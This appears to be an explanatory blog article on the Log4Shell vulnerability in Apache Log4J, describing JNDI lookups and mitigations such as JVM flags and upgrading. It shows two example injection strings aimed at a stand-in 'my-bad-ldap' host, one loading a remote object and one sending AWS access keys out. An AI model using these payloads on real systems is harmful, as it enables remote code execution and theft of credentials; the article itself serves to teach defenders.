What is Log4J vulnerability

Security teams across the globe have been scrambling to address a dangerous new zero-day vulnerability in a popular Apache logging system. In this article, I am trying to explain the Apache Log4J security vulnerability in plain English.

Log4J is a popular Java library that can be used for logging code. You can log error messages and debug messages in files and then lookup them to trouble shoot. Log4J has been doing its job for many years. But a major security vulnerability has been identified very recently. Any Java application that uses log4j version lower than v2.16 can be hacked. Considering how popular log4j, is there is a very decent chance that most of the Java applications have fallen to this vulnerability.

The problem is not only wide spread but also its severity is very high. SVSS (Common Vulnerability Scoring System) is rated 10 out of 10 for this vulnerability. The reason for this is that this vulnerability enables RCE (Remote Code Execution). This allows hackers to run any code on your system. This vulnerability is also nicknamed as Log4Shell because its actually like anyone opening a shell and running command on your system.

Let’s see what actually is this problem.

What is Log4j –

Log4J allows you to log expressions. Check this expression –

final Logger logger = LogManager.getLogger(.....);
logger.error("This is the error message");

Log4J lookup feature –

“Lookups” provide a way to add values to the Log4j configuration at arbitrary places.

Simply put, the user who’s supplying the data you’re planning to log gets to choose not only how it’s formatted, but even what it contains, and how that content is acquired.

Consider example –

final Logger logger = LogManager.getLogger(.....);
logger.info("User {} has logged in using id {} ", map.get("Name"), user.getID());

As long as you are logging standard messages there should not be any problem.

Remote lookups –

The is a Java runtime feature called JNDI, short for Java Naming and Directory Interface. JNDI allows you to store objects in a remote location and serialize them to your JVM. This was pre REST API popularity and has fallen out of popularity. For example this is a simple ldap URL –

ldap://myhost:8080/O=XYZ,C=IN

With this I can invoke a serialised object from ldap server.

Sometime in 2013 one of the contributor introduced a feature in Log4J that allowed us to do JNDI lookups. A very simple usecase could be that you have a centralized log configuration from a config server and you want to serialize the log the log message with prefix some value.

Thanks to this feature, Log4J “lookup” commands wrapped in ${…} sequences can not only do simple string replacements, but also do live runtime lookups to arbitrary servers, both inside and outside your network.

Consider this is how you are logging using jndi look up –

final Logger logger = LogManager.getLogger(.....);
logger.error("Errer: {}", "${jndi:ldap:// logconfig/prefix}", error.getMessage());

The syntax for the remote lookup feature in Log4J is ${} and in this case the string in {} is JNDI so it knows that it is a jndi lookup and is going to look up the value and insert it in {}

This is the vulnerability.

Let’s see how it is a vulnerability.

Most of the applications start with a login page where end user provides user id and password for validation and only authenticated users are allowed to sign in. This is very basic use case.

final Logger logger = LogManager.getLogger(.....);
logger.info("User {} has logged in using id {} ", map.get("Name"), inputUserID);

inputUserID is the user id that user enters.

Consider user enters user id as –

${jndi:ldap://my-bad-ldap:8080/maliciaousObject}

This is the vulnerability.

Imagine what can happen if a hacker is able to run a malicious static code inside a popular e-commerce application or a popular back application. He can have control over everything and he can do it as many times he wants.

This is the RCE (Remote Coe Execution) and hence it is much bigger problem.

What is Mitigation

First way is to set few flag and tell Java to not trust any codebase coming from URL.

com.sun.jndi.ldap.object.trustURLCodebase
com.sun.jndi.rmi.object.trustURLCodebase

When you set these JVM flags to FALSE, Java is not going to trust any code that is coming form external URLs and going to block it.

Even though you have turned off these flags, there is still a risk and it is with environment variables. If the Java runtime makes a call and does not trusts what it returns, there is still a problem because you can pass environment variables while making this call.

${jndi:ldap://my-bad-ldap:8080/${env.AWS_ACCESS-KEY_ID}/${env.AWS_ACCESS_KEY_SECRET}}

The hacker is making a jndi call and plugin the environment variables is AWS access key and secret key. As long as the request goes out with environment variables, there is a problem.

So don’t use Log4J versions that are affected by this vulnerability.

• Upgrade to newer Log4J version (v2.16 or higher)
• Patch the class directly (put the newer version in classpath)
• Use dependency constraints (put a constraint that the library version has to be above v2.16

Most importantly you have to solve this problem before a hacker hacks into your application.

Some interesting facts about Log4J venerability  –

Here are some interesting facts for you to decide how severe is the impact is and how soon you need to fix the Log4J vulnerability.

• Introduced in 2013 – This feature was introduced in Log4J way back in 2013 and it was existing since then.
• Discovered in late 2021 – “Discovered” is a key word. Someone identified it and informed the rest of the word so that corrective actions could be taken.
• First exploited? – No one knows. It was there since 2013 and no one know if hackers had found and exploited it before it was discovered.